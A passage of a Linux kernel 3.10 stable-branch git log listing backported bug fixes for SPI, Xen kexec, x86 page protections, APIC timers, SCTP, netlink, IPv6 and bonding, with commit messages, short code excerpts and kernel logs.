memory is already freed with the call to spi_master_put() through spi_master_class, which registers a release function. Calling both spi_master_put() and kfree() results in often nasty (and delayed) crashes elsewhere in the kernel, often in the networking stack. This reverts commit eb4af0f5349235df2e4a5057a72fc8962d00308a. Link to patch and concerns: https://lkml.org/lkml/2012/9/3/269 or http://lkml.iu.edu/hypermail/linux/kernel/1209.0/00790.html Alexey Klimov: This revert becomes valid after 94c69f765f1b4a658d96905ec59928e3e3e07e6a when spi-imx.c has been fixed and there is no need to call kfree() so comment for spi_alloc_master() should be fixed. Signed-off-by: Guenter Roeck Signed-off-by: Alexey Klimov Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e8c80153e8c3f64d667c4b6e21805f67debbc54 Author: Vitaly Kuznetsov Date: Fri Sep 25 11:59:52 2015 +0200 x86/xen: Support kexec/kdump in HVM guests by doing a soft reset commit 0b34a166f291d255755be46e43ed5497cdd194f2 upstream. Currently there is a number of issues preventing PVHVM Xen guests from doing successful kexec/kdump: - Bound event channels. - Registered vcpu_info. - PIRQ/emuirq mappings. - shared_info frame after XENMAPSPACE_shared_info operation. - Active grant mappings. Basically, newly booted kernel stumbles upon already set up Xen interfaces and there is no way to reestablish them. In Xen-4.7 a new feature called 'soft reset' is coming. A guest performing kexec/kdump operation is supposed to call SCHEDOP_shutdown hypercall with SHUTDOWN_soft_reset reason before jumping to new kernel. Hypervisor (with some help from toolstack) will do full domain cleanup (but keeping its memory and vCPU contexts intact) returning the guest to the state it had when it was first booted and thus allowing it to start over. Doing SHUTDOWN_soft_reset on Xen hypervisors which don't support it is probably OK as by default all unknown shutdown reasons cause domain destroy with a message in toolstack log: 'Unknown shutdown reason code 5. Destroying domain.' which gives a clue to what the problem is and eliminates false expectations. Signed-off-by: Vitaly Kuznetsov Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e247f327beec7a0c2b985c06d950386d478d60d6 Author: Stephen Smalley Date: Thu Oct 1 09:04:22 2015 -0400 x86/mm: Set NX on gap between __ex_table and rodata commit ab76f7b4ab2397ffdd2f1eb07c55697d19991d10 upstream. Unused space between the end of __ex_table and the start of rodata can be left W+x in the kernel page tables. Extend the setting of the NX bit to cover this gap by starting from text_end rather than rodata_start. Before: ---[ High Kernel Mapping ]--- 0xffffffff80000000-0xffffffff81000000 16M pmd 0xffffffff81000000-0xffffffff81600000 6M ro PSE GLB x pmd 0xffffffff81600000-0xffffffff81754000 1360K ro GLB x pte 0xffffffff81754000-0xffffffff81800000 688K RW GLB x pte 0xffffffff81800000-0xffffffff81a00000 2M ro PSE GLB NX pmd 0xffffffff81a00000-0xffffffff81b3b000 1260K ro GLB NX pte 0xffffffff81b3b000-0xffffffff82000000 4884K RW GLB NX pte 0xffffffff82000000-0xffffffff82200000 2M RW PSE GLB NX pmd 0xffffffff82200000-0xffffffffa0000000 478M pmd After: ---[ High Kernel Mapping ]--- 0xffffffff80000000-0xffffffff81000000 16M pmd 0xffffffff81000000-0xffffffff81600000 6M ro PSE GLB x pmd 0xffffffff81600000-0xffffffff81754000 1360K ro GLB x pte 0xffffffff81754000-0xffffffff81800000 688K RW GLB NX pte 0xffffffff81800000-0xffffffff81a00000 2M ro PSE GLB NX pmd 0xffffffff81a00000-0xffffffff81b3b000 1260K ro GLB NX pte 0xffffffff81b3b000-0xffffffff82000000 4884K RW GLB NX pte 0xffffffff82000000-0xffffffff82200000 2M RW PSE GLB NX pmd 0xffffffff82200000-0xffffffffa0000000 478M pmd Signed-off-by: Stephen Smalley Acked-by: Kees Cook Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Link: http://lkml.kernel.org/r/1443704662-3138-1-git-send-email-sds@tycho.nsa.gov Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 96a4d6dbbf0c387dbe9a84fb10cad4180a64b7bb Author: Dirk Müller Date: Thu Oct 1 13:43:42 2015 +0200 Use WARN_ON_ONCE for missing X86_FEATURE_NRIPS commit d2922422c48df93f3edff7d872ee4f3191fefb08 upstream. The cpu feature flags are not ever going to change, so warning everytime can cause a lot of kernel log spam (in our case more than 10GB/hour). The warning seems to only occur when nested virtualization is enabled, so it's probably triggered by a KVM bug. This is a sensible and safe change anyway, and the KVM bug fix might not be suitable for stable releases anyway. Signed-off-by: Dirk Mueller Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8ddf66e56d839ad288ba0f875983f498aa9f5688 Author: David Woodhouse Date: Wed Sep 16 14:10:03 2015 +0100 x86/platform: Fix Geode LX timekeeping in the generic x86 build commit 03da3ff1cfcd7774c8780d2547ba0d995f7dc03d upstream. In 2007, commit 07190a08eef36 ("Mark TSC on GeodeLX reliable") bypassed verification of the TSC on Geode LX. However, this code (now in the check_system_tsc_reliable() function in arch/x86/kernel/tsc.c) was only present if CONFIG_MGEODE_LX was set. OpenWRT has recently started building its generic Geode target for Geode GX, not LX, to include support for additional platforms. This broke the timekeeping on LX-based devices, because the TSC wasn't marked as reliable: https://dev.openwrt.org/ticket/20531 By adding a runtime check on is_geode_lx(), we can also include the fix if CONFIG_MGEODEGX1 or CONFIG_X86_GENERIC are set, thus fixing the problem. Signed-off-by: David Woodhouse Cc: Andres Salomon Cc: Linus Torvalds Cc: Marcelo Tosatti Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1442409003.131189.87.camel@infradead.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e8ff112447e791c554b09da6ec89355c2af99d1 Author: Shaohua Li Date: Thu Jul 30 16:24:43 2015 -0700 x86/apic: Serialize LVTT and TSC_DEADLINE writes commit 5d7c631d926b59aa16f3c56eaeb83f1036c81dc7 upstream. The APIC LVTT register is MMIO mapped but the TSC_DEADLINE register is an MSR. The write to the TSC_DEADLINE MSR is not serializing, so it's not guaranteed that the write to LVTT has reached the APIC before the TSC_DEADLINE MSR is written. In such a case the write to the MSR is ignored and as a consequence the local timer interrupt never fires. The SDM decribes this issue for xAPIC and x2APIC modes. The serialization methods recommended by the SDM differ. xAPIC: "1. Memory-mapped write to LVT Timer Register, setting bits 18:17 to 10b. 2. WRMSR to the IA32_TSC_DEADLINE MSR a value much larger than current time-stamp counter. 3. If RDMSR of the IA32_TSC_DEADLINE MSR returns zero, go to step 2. 4. WRMSR to the IA32_TSC_DEADLINE MSR the desired deadline." x2APIC: "To allow for efficient access to the APIC registers in x2APIC mode, the serializing semantics of WRMSR are relaxed when writing to the APIC registers. Thus, system software should not use 'WRMSR to APIC registers in x2APIC mode' as a serializing instruction. Read and write accesses to the APIC registers will occur in program order. A WRMSR to an APIC register may complete before all preceding stores are globally visible; software can prevent this by inserting a serializing instruction, an SFENCE, or an MFENCE before the WRMSR." The xAPIC method is to just wait for the memory mapped write to hit the LVTT by checking whether the MSR write has reached the hardware. There is no reason why a proper MFENCE after the memory mapped write would not do the same. Andi Kleen confirmed that MFENCE is sufficient for the xAPIC case as well. Issue MFENCE before writing to the TSC_DEADLINE MSR. This can be done unconditionally as all CPUs which have TSC_DEADLINE also have MFENCE support. [ tglx: Massaged the changelog ] Signed-off-by: Shaohua Li Reviewed-by: Ingo Molnar Cc: Cc: Cc: Cc: Andi Kleen Cc: H. Peter Anvin Link: http://lkml.kernel.org/r/20150909041352.GA2059853@devbig257.prn2.facebook.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5304850ba61770996c5416351c089bf7333afa1e Author: Paul Bolle Date: Fri Jul 31 14:08:58 2015 +0200 windfarm: decrement client count when unregistering commit fe2b592173ff0274e70dc44d1d28c19bb995aa7c upstream. wf_unregister_client() increments the client count when a client unregisters. That is obviously incorrect. Decrement that client count instead. Fixes: 75722d3992f5 ("[PATCH] ppc64: Thermal control for SMU based machines") Signed-off-by: Paul Bolle Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e245e2426b088083edfd97e5df9c86153b6b43bb Author: Ard Biesheuvel Date: Thu Sep 3 13:24:40 2015 +0100 ARM: 8429/1: disable GCC SRA optimization commit a077224fd35b2f7fbc93f14cf67074fc792fbac2 upstream. While working on the 32-bit ARM port of UEFI, I noticed a strange corruption in the kernel log. The following snprintf() statement (in drivers/firmware/efi/efi.c:efi_md_typeattr_format()) snprintf(pos, size, "|%3s|%2s|%2s|%2s|%3s|%2s|%2s|%2s|%2s]", was producing the following output in the log: | | | | | |WB|WT|WC|UC] | | | | | |WB|WT|WC|UC] | | | | | |WB|WT|WC|UC] |RUN| | | | |WB|WT|WC|UC]* |RUN| | | | |WB|WT|WC|UC]* | | | | | |WB|WT|WC|UC] |RUN| | | | |WB|WT|WC|UC]* | | | | | |WB|WT|WC|UC] |RUN| | | | | | | |UC] |RUN| | | | | | | |UC] As it turns out, this is caused by incorrect code being emitted for the string() function in lib/vsprintf.c. The following code if (!(spec.flags & LEFT)) { while (len < spec.field_width--) { if (buf < end) *buf = ' '; ++buf; } } for (i = 0; i < len; ++i) { if (buf < end) *buf = *s; ++buf; ++s; } while (len < spec.field_width--) { if (buf < end) *buf = ' '; ++buf; } when called with len == 0, triggers an issue in the GCC SRA optimization pass (Scalar Replacement of Aggregates), which handles promotion of signed struct members incorrectly. This is a known but as yet unresolved issue. (https://gcc.gnu.org/bugzilla/show_bug.cgi?id=65932). In this particular case, it is causing the second while loop to be executed erroneously a single time, causing the additional space characters to be printed. So disable the optimization by passing -fno-ipa-sra. Acked-by: Nicolas Pitre Signed-off-by: Ard Biesheuvel Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec23e5dc2a11023e7cdebe3b682bc274e29b04e1 Author: Arnaldo Carvalho de Melo Date: Fri Sep 11 12:36:12 2015 -0300 perf header: Fixup reading of HEADER_NRCPUS feature commit caa470475d9b59eeff093ae650800d34612c4379 upstream. The original patch introducing this header wrote the number of CPUs available and online in one order and then swapped those values when reading, fix it. Before: # perf record usleep 1 # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 4 # nrcpus avail : 4 # echo 0 > /sys/devices/system/cpu/cpu2/online # perf record usleep 1 # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 4 # nrcpus avail : 3 # echo 0 > /sys/devices/system/cpu/cpu1/online # perf record usleep 1 # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 4 # nrcpus avail : 2 After the fix, bringing back the CPUs online: # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 2 # nrcpus avail : 4 # echo 1 > /sys/devices/system/cpu/cpu2/online # perf record usleep 1 # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 3 # nrcpus avail : 4 # echo 1 > /sys/devices/system/cpu/cpu1/online # perf record usleep 1 # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 4 # nrcpus avail : 4 Acked-by: Namhyung Kim Cc: Adrian Hunter Cc: Borislav Petkov Cc: David Ahern Cc: Frederic Weisbecker Cc: Jiri Olsa Cc: Kan Liang Cc: Stephane Eranian Cc: Wang Nan Fixes: fbe96f29ce4b ("perf tools: Make perf.data more self-descriptive (v8)") Link: http://lkml.kernel.org/r/20150911153323.GP23511@kernel.org Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f8e95ccafb50225575866d45f165987549fde581 Author: Michal Hocko Date: Thu Aug 27 20:16:37 2015 +0200 scsi: fix scsi_error_handler vs. scsi_host_dev_release race commit 537b604c8b3aa8b96fe35f87dd085816552e294c upstream. b9d5c6b7ef57 ("[SCSI] cleanup setting task state in scsi_error_handler()") has introduced a race between scsi_error_handler and scsi_host_dev_release resulting in the hang when the device goes away because scsi_error_handler might miss a wake up: CPU0 CPU1 scsi_error_handler scsi_host_dev_release kthread_stop() kthread_should_stop() test_bit(KTHREAD_SHOULD_STOP) set_bit(KTHREAD_SHOULD_STOP) wake_up_process() wait_for_completion() set_current_state(TASK_INTERRUPTIBLE) schedule() The most straightforward solution seems to be to invert the ordering of the set_current_state and kthread_should_stop. The issue has been noticed during reboot test on a 3.0 based kernel but the current code seems to be affected in the same way. [jejb: additional comment added] Reported-and-debugged-by: Mike Mayer Signed-off-by: Michal Hocko Reviewed-by: Dan Williams Reviewed-by: Hannes Reinecke Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a470fbde364168403ebdba34ca42a56c3b64ce7 Author: Greg Kroah-Hartman Date: Thu Oct 1 12:07:55 2015 +0200 Linux 3.10.90 Signed-off-by: Pranav Vashi commit b38a43d87b1121da504c6024e25043d9e4d0f829 Author: Markus Pargmann Date: Wed Jul 29 15:46:03 2015 +0200 Revert "iio: bmg160: IIO_BUFFER and IIO_TRIGGERED_BUFFER are required" This reverts commit 35c45e8bce3c92fb1ff94d376f1d4bfaae079d66 which was commit 06d2f6ca5a38abe92f1f3a132b331eee773868c3 upstream as it should not have been applied. Reported-by: Luis Henriques Cc: Markus Pargmann Cc: Srinivas Pandruvada Cc: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b338c70d1dca70a362b69d8beef60598a0365cd9 Author: Eric W. Biederman Date: Sun May 24 09:25:00 2015 -0500 vfs: Remove incorrect debugging WARN in prepend_path commit 93e3bce6287e1fb3e60d3324ed08555b5bbafa89 upstream. The warning message in prepend_path is unclear and outdated. It was added as a warning that the mechanism for generating names of pseudo files had been removed from prepend_path and d_dname should be used instead. Unfortunately the warning reads like a general warning, making it unclear what to do with it. Remove the warning. The transition it was added to warn about is long over, and I added code several years ago which in rare cases causes the warning to fire on legitimate code, and the warning is now firing and scaring people for no good reason. Reported-by: Ivan Delalande Reported-by: Omar Sandoval Fixes: f48cfddc6729e ("vfs: In d_path don't call d_dname on a mount point") Signed-off-by: "Eric W. Biederman" [ vlee: Backported to 3.10. Adjusted context. ] Signed-off-by: Vinson Lee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 61289bee52750995d48ca5f20e2e51036b31a05c Author: Wilson Kok Date: Tue Sep 22 21:40:22 2015 -0700 fib_rules: fix fib rule dumps across multiple skbs [ Upstream commit 41fc014332d91ee90c32840bf161f9685b7fbf2b ] dump_rules returns skb length and not error. But when family == AF_UNSPEC, the caller of dump_rules assumes that it returns an error. Hence, when family == AF_UNSPEC, we continue trying to dump on -EMSGSIZE errors resulting in incorrect dump idx carried between skbs belonging to the same dump. This results in fib rule dump always only dumping rules that fit into the first skb. This patch fixes dump_rules to return error so that we exit correctly and idx is correctly maintained between skbs that are part of the same dump. Signed-off-by: Wilson Kok Signed-off-by: Roopa Prabhu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 13be13615411fa13060f53575691eab0b83f6abc Author: Marcelo Ricardo Leitner Date: Thu Sep 10 17:31:15 2015 -0300 sctp: fix race on protocol/netns initialization [ Upstream commit 8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4 ] Consider sctp module is unloaded and is being requested because an user is creating a sctp socket. During initialization, sctp will add the new protocol type and then initialize pernet subsys: status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; status = sctp_v6_protosw_init(); if (status) goto err_v6_protosw_init; status = register_pernet_subsys(&sctp_net_ops); The problem is that after those calls to sctp_v{4,6}_protosw_init(), it is possible for userspace to create SCTP sockets like if the module is already fully loaded. If that happens, one of the possible effects is that we will have readers for net->sctp.local_addr_list list earlier than expected and sctp_net_init() does not take precautions while dealing with that list, leading to a potential panic but not limited to that, as sctp_sock_init() will copy a bunch of blank/partially initialized values from net->sctp. The race happens like this: CPU 0 | CPU 1 socket() | __sock_create | socket() inet_create | __sock_create list_for_each_entry_rcu( | answer, &inetsw[sock->type], | list) { | inet_create /* no hits */ | if (unlikely(err)) { | ... | request_module() | /* socket creation is blocked | * the module is fully loaded | */ | sctp_init | sctp_v4_protosw_init | inet_register_protosw | list_add_rcu(&p->list, | last_perm); | | list_for_each_entry_rcu( | answer, &inetsw[sock->type], sctp_v6_protosw_init | list) { | /* hit, so assumes protocol | * is already loaded | */ | /* socket creation continues | * before netns is initialized | */ register_pernet_subsys | Simply inverting the initialization order between register_pernet_subsys() and sctp_v4_protosw_init() is not possible because register_pernet_subsys() will create a control sctp socket, so the protocol must be already visible by then. Deferring the socket creation to a work-queue is not good specially because we loose the ability to handle its errors. So, as suggested by Vlad, the fix is to split netns initialization in two moments: defaults and control socket, so that the defaults are already loaded by when we register the protocol, while control socket initialization is kept at the same moment it is today. Fixes: 4db67e808640 ("sctp: Make the address lists per network namespace") Signed-off-by: Vlad Yasevich Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c742a78bcfcfcbbf3d2187f921730151c4b9e938 Author: Richard Laing Date: Thu Sep 3 13:52:31 2015 +1200 net/ipv6: Correct PIM6 mrt_lock handling [ Upstream commit 25b4a44c19c83d98e8c0807a7ede07c1f28eab8b ] In the IPv6 multicast routing code the mrt_lock was not being released correctly in the MFC iterator, as a result adding or deleting a MIF would cause a hang because the mrt_lock could not be acquired. This fix is a copy of the code for the IPv4 case and ensures that the lock is released correctly. Signed-off-by: Richard Laing Acked-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6727fda7369b6f50963eb65f584e3c000c487bb Author: Daniel Borkmann Date: Thu Sep 3 00:29:07 2015 +0200 ipv6: fix exthdrs offload registration in out_rt path [ Upstream commit e41b0bedba0293b9e1e8d1e8ed553104b9693656 ] We previously register IPPROTO_ROUTING offload under inet6_add_offload(), but in error path, we try to unregister it with inet_del_offload(). This doesn't seem correct, it should actually be inet6_del_offload(), also ipv6_exthdrs_offload_exit() from that commit seems rather incorrect (it also uses rthdr_offload twice), but it got removed entirely later on. Fixes: 3336288a9fea ("ipv6: Switch to using new offload infrastructure.") Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c73df0980f6fd6cf99d7c6e93af38fae01ca66b8 Author: Eugene Shatokhin Date: Mon Aug 24 23:13:42 2015 +0300 usbnet: Get EVENT_NO_RUNTIME_PM bit before it is cleared [ Upstream commit f50791ac1aca1ac1b0370d62397b43e9f831421a ] It is needed to check EVENT_NO_RUNTIME_PM bit of dev->flags in usbnet_stop(), but its value should be read before it is cleared when dev->flags is set to 0. The problem was spotted and the fix was provided by Oliver Neukum . Signed-off-by: Eugene Shatokhin Acked-by: Oliver Neukum Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 717b0b7d9e860aca4c3bc890c58afefb98f62a0f Author: huaibin Wang Date: Tue Aug 25 16:20:34 2015 +0200 ip6_gre: release cached dst on tunnel removal [ Upstream commit d4257295ba1b389c693b79de857a96e4b7cd8ac0 ] When a tunnel is deleted, the cached dst entry should be released. This problem may prevent the removal of a netns (seen with a x-netns IPv6 gre tunnel): unregister_netdevice: waiting for lo to become free. Usage count = 3 CC: Dmitry Kozlov Fixes: c12b395a4664 ("gre: Support GRE over IPv6") Signed-off-by: huaibin Wang Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ee3d4395098206707749546d7bbb97e3a13c69aa Author: Dan Carpenter Date: Sat Aug 1 15:33:26 2015 +0300 rds: fix an integer overflow test in rds_info_getsockopt() [ Upstream commit 468b732b6f76b138c0926eadf38ac88467dcd271 ] "len" is a signed integer. We check that len is not negative, so it goes from zero to INT_MAX. PAGE_SIZE is unsigned long so the comparison is type promoted to unsigned long. ULONG_MAX - 4095 is a higher than INT_MAX so the condition can never be true. I don't know if this is harmful but it seems safe to limit "len" to INT_MAX - 4095. Fixes: a8c879a7ee98 ('RDS: Info and stats') Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b44de34709aaa5402b098a6c108c29ba32c43a18 Author: Florian Westphal Date: Tue Jul 21 16:33:50 2015 +0200 netlink: don't hold mutex in rcu callback when releasing mmapd ring [ Upstream commit 0470eb99b4721586ccac954faac3fa4472da0845 ] Kirill A. Shutemov says: This simple test-case trigers few locking asserts in kernel: int main(int argc, char **argv) { unsigned int block_size = 16 * 4096; struct nl_mmap_req req = { .nm_block_size = block_size, .nm_block_nr = 64, .nm_frame_size = 16384, .nm_frame_nr = 64 * block_size / 16384, }; unsigned int ring_size; int fd; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (setsockopt(fd, SOL_NETLINK, NETLINK_RX_RING, &req, sizeof(req)) < 0) exit(1); if (setsockopt(fd, SOL_NETLINK, NETLINK_TX_RING, &req, sizeof(req)) < 0) exit(1); ring_size = req.nm_block_nr * req.nm_block_size; mmap(NULL, 2 * ring_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); return 0; } +++ exited with 0 +++ BUG: sleeping function called from invalid context at /home/kas/git/public/linux-mm/kernel/locking/mutex.c:616 in_atomic(): 1, irqs_disabled(): 0, pid: 1, name: init 3 locks held by init/1: #0: (reboot_mutex){+.+...}, at: [] SyS_reboot+0xa9/0x220 #1: ((reboot_notifier_list).rwsem){.+.+..}, at: [] __blocking_notifier_call_chain+0x39/0x70 #2: (rcu_callback){......}, at: [] rcu_do_batch.isra.49+0x160/0x10c0 Preemption disabled at:[] __delay+0xf/0x20 CPU: 1 PID: 1 Comm: init Not tainted 4.1.0-00009-gbddf4c4818e0 #253 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS Debian-1.8.2-1 04/01/2014 ffff88017b3d8000 ffff88027bc03c38 ffffffff81929ceb 0000000000000102 0000000000000000 ffff88027bc03c68 ffffffff81085a9d 0000000000000002 ffffffff81ca2a20 0000000000000268 0000000000000000 ffff88027bc03c98 Call Trace: [] dump_stack+0x4f/0x7b [] ___might_sleep+0x16d/0x270 [] __might_sleep+0x4d/0x90 [] mutex_lock_nested+0x2f/0x430 [] ? _raw_spin_unlock_irqrestore+0x5d/0x80 [] ? __this_cpu_preempt_check+0x13/0x20 [] netlink_set_ring+0x1ed/0x350 [] ? netlink_undo_bind+0x70/0x70 [] netlink_sock_destruct+0x80/0x150 [] __sk_free+0x1d/0x160 [] sk_free+0x19/0x20 [..] Cong Wang says: We can't hold mutex lock in a rcu callback, [..] Thomas Graf says: The socket should be dead at this point. It might be simpler to add a netlink_release_ring() function which doesn't require locking at all. Reported-by: "Kirill A. Shutemov" Diagnosed-by: Cong Wang Suggested-by: Thomas Graf Signed-off-by: Florian Westphal Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 15b52cb3bd68e4011cf9ab83329be364313b10ce Author: Edward Hyunkoo Jee Date: Tue Jul 21 09:43:59 2015 +0200 inet: frags: fix defragmented packet's IP header for af_packet [ Upstream commit 0848f6428ba3a2e42db124d41ac6f548655735bf ] When ip_frag_queue() computes positions, it assumes that the passed sk_buff does not contain L2 headers. However, when PACKET_FANOUT_FLAG_DEFRAG is used, IP reassembly functions can be called on outgoing packets that contain L2 headers. Also, IPv4 checksum is not corrected after reassembly. Fixes: 7736d33f4262 ("packet: Add pre-defragmentation support for ipv4 fanouts.") Signed-off-by: Edward Hyunkoo Jee Signed-off-by: Eric Dumazet Cc: Willem de Bruijn Cc: Jerry Chu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fe700583161fba57619e38b87b0daf695141b3b2 Author: Nikolay Aleksandrov Date: Wed Jul 15 21:52:51 2015 +0200 bonding: fix destruction of bond with devices different from arphrd_ether [ Upstream commit 06f6d1094aa0992432b1e2a0920b0ee86ccd83bf ] When the bonding is being unloaded and the netdevice notifier is unregistered it executes NETDEV_UNREGISTER for each device which should remove the bond's proc entry but if the device enslaved is not of ARPHRD_ETHER type and is in front of the bonding, it may execute bond_release_and_destroy() first which would release the last slave and destroy the bond device leaving the proc entry and thus we will get the following error (with dynamic debug on for bond_netdev_event to see the events order): [ 908.963051] eql: event: 9 [ 908.963052] eql: IFF_SLAVE [ 908.963054] eql: event: 2 [ 908.963056] eql: IFF_SLAVE [ 908.963058] eql: event: 6 [ 908.963059] eql: IFF_SLAVE [ 908.963110] bond0: Releasing active interface eql [ 908.976168] bond0: Destroying bond bond0 [ 908.976266] bond0 (unregistering): Released all slaves [ 908.984097] ------------[ cut here ]------------ [ 908.984107] WARNING: CPU: 0 PID: 1787 at fs/proc/generic.c:575 remove_proc_entry+0x112/0x160() [ 908.984110] remove_proc_entry: removing non-empty directory 'net/bonding', leaking at least 'bond0' [ 908.984111] Modules linked in: bonding(-) eql(O) 9p nfsd auth_rpcgss oid_registry nfs_acl nfs lockd grace fscache sunrpc crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev qxl drm_kms_helper snd_hda_codec_generic aesni_intel ttm aes_x86_64 glue_helper pcspkr lrw gf128mul ablk_helper cryptd snd_hda_intel virtio_console snd_hda_codec psmouse serio_raw snd_hwdep snd_hda_core 9pnet_virtio 9pnet evdev joydev drm virtio_balloon snd_pcm snd_timer snd soundcore i2c_piix4 i2c_core pvpanic acpi_cpufreq parport_pc parport processor thermal_sys button autofs4 ext4 crc16 mbcache jbd2 hid_generic usbhid hid sg sr_mod cdrom ata_generic virtio_blk virtio_net floppy ata_piix e1000 libata ehci_pci virtio_pci scsi_mod uhci_hcd ehci_hcd virtio_ring virtio usbcore usb_common [last unloaded: bonding] [ 908.984168] CPU: 0 PID: 1787 Comm: rmmod Tainted: G W O 4.2.0-rc2+ #8 [ 908.984170] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 908.984172] 0000000000000000 ffffffff81732d41 ffffffff81525b34 ffff8800358dfda8 [ 908.984175] ffffffff8106c521 ffff88003595af78 ffff88003595af40 ffff88003e3a4280 [ 908.984178] ffffffffa058d040 0000000000000000 ffffffff8106c59a ffffffff8172ebd0 [ 908.984181] Call Trace: [ 908.984188] [] ? dump_stack+0x40/0x50 [ 908.984193] [] ? warn_slowpath_common+0x81/0xb0 [ 908.984196] [] ? warn_slowpath_fmt+0x4a/0x50 [ 908.984199] [] ? remove_proc_entry+0x112/0x160 [ 908.984205] [] ? bond_destroy_proc_dir+0x26/0x30 [bonding] [ 908.984208] [] ? bond_net_exit+0x8e/0xa0 [bonding] [ 908.984217] [] ? ops_exit_list.isra.4+0x37/0x70 [ 908.984225] [] ? unregister_pernet_operations+0x8d/0xd0 [ 908.984228] [] ? unregister_pernet_subsys+0x1d/0x30 [ 908.984232] [] ? bonding_exit+0x23/0xdba [bonding] [ 908.984236] [] ? SyS_delete_module+0x18a/0x250 [ 908.984241] [] ? task_work_run+0x89/0xc0 [ 908.984244] [] ? entry_SYSCALL_64_fastpath+0x16/0x75 [ 908.984247] ---[ end trace 7c006ed4abbef24b ]--- Thus remove the proc entry manually if bond_release_and_destroy() is used. Because of the checks in bond_remove_proc_entry() it's not a problem for a bond device to change namespaces (the bug fixed by the Fixes commit) but since commit f9399814927ad ("bonding: Don't allow bond devices to change network namespaces.") that can't happen anyway. Reported-by: Carol Soto Signed-off-by: Nikolay Aleksandrov Fixes: a64d49c3dd50 ("bonding: Manage /proc/net/bonding/ entries from the netdev events") Tested-by: Carol L Soto Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b430acaedf94a1522df011181842c5de90bb220 Author: Eric Dumazet Date: Tue Jul 14 08:10:22 2015 +0200 ipv6: lock socket in ip6_datagram_connect() [ Upstream commit 03645a11a570d52e70631838cb786eb4253eb463 ] ip6_datagram_connect() is doing a lot of socket changes without socket being locked. This looks wrong, at least for udp_lib_rehash() which could corrupt lists because of concurrent udp_sk(sk)->udp_portaddr_hash accesses. Signed-off-by: Eric Dumazet Acked-by: Herbert Xu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d34058f27f1eb7c0ad445312e0385f66bb160e27 Author: Tilman Schmidt Date: Tue Jul 14 00:37:13 2015 +0200 isdn/gigaset: reset tty->receive_room when attaching ser_gigaset [ Upstream commit fd98e9419d8d622a4de91f76b306af6aa627aa9c ] Commit 79901317ce80 ("n_tty: Don't flush buffer when closing ldisc"), first merged in kernel release 3.10, caused the following regression in the Gigaset M101 driver: Before that commit, when closing the N_TTY line discipline in preparation to switching to N_GIGASET_M101, receive_room would be reset to a non-zero value by the call to n_tty_flush_buffer() in n_tty's close method. With the removal of that call, receive_room might be left at zero, blocking data reception on the serial line. The present patch fixes that regression by setting receive_room to an appropriate value in the ldisc open method. Fixes: 79901317ce80 ("n_tty: Don't flush buffer when closing ldisc") Signed-off-by: Tilman Schmidt Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9c886ecf44876753ee970e45059bdbe50512a57c Author: Nikolay Aleksandrov Date: Mon Jul 13 06:36:19 2015 -0700 bridge: mdb: fix double add notification [ Upstream commit 5ebc784625ea68a9570d1f70557e7932988cd1b4 ] Since the mdb add/del code was introduced there have been 2 br_mdb_notify calls when doing br_mdb_add() resulting in 2 notifications on each add. Example: Command: bridge mdb add dev br0 port eth1 grp 239.0.0.1 